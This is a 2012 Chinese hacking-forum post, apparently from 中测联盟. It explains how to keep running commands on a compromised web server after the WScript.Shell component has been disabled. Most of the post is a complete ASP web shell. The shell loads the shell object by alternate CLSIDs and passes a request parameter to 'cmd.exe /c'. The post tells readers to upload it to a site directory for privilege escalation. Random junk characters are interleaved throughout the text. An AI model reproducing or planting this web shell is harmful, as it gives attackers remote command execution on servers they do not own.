找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。6 c7 g3 T" }- m3 u8 ^0 P
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
, O0 N# V0 @4 B* f" T) L; a/ ~要想让运行命令可以试试这种方法,成功率为五五之数。0 y0 H9 R0 E* `- R
把下面代码复制:
, Q7 j0 P" G% X<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object># f$ E4 t  R( i6 h& R: \) P4 a
<%if err then%>6 F) ]* x: x) T( V' z5 |
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>: U& R- U0 W2 d6 W
<%
. X. ?6 ~, u5 o7 g4 r: m( {end if0 s3 R3 `- A0 R7 ?& A7 B/ ~' a
response.write("<textarea readonly cols=80 rows=20>")& [1 N+ b" Z7 C' X3 ?/ X1 M) o
On Error Resume Next
+ ^, E# f4 v% S, M& b) ?response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall
' G5 X# ^6 J( U- E3 X* Jresponse.write("</textarea>")
7 Z7 l5 X: E+ t+ Jresponse.write("<form method='post'>")# S: ~5 G* s3 R7 E2 A. \
response.write("<input type=text name='c' size=60><br>")
1 _' \3 U4 d# \6 i1 B. q( U4 ~6 K- {0 Iresponse.write("<input type=submit value='执行'></form>")* Y$ }3 w0 y0 r# j; h, c: h) i; H
%>
4 `* h9 [( x% _( w% X
5 b: c7 f/ ~6 ]保存为一个asp文件,然后传到网站目录上去
) B2 V" m; Q2 y& s8 V运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
) P, u) l* B9 O) M我用此成功运行过cacls命令。) l7 Y" N) e/ a% Q. n
9 a, i8 y% R9 d
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表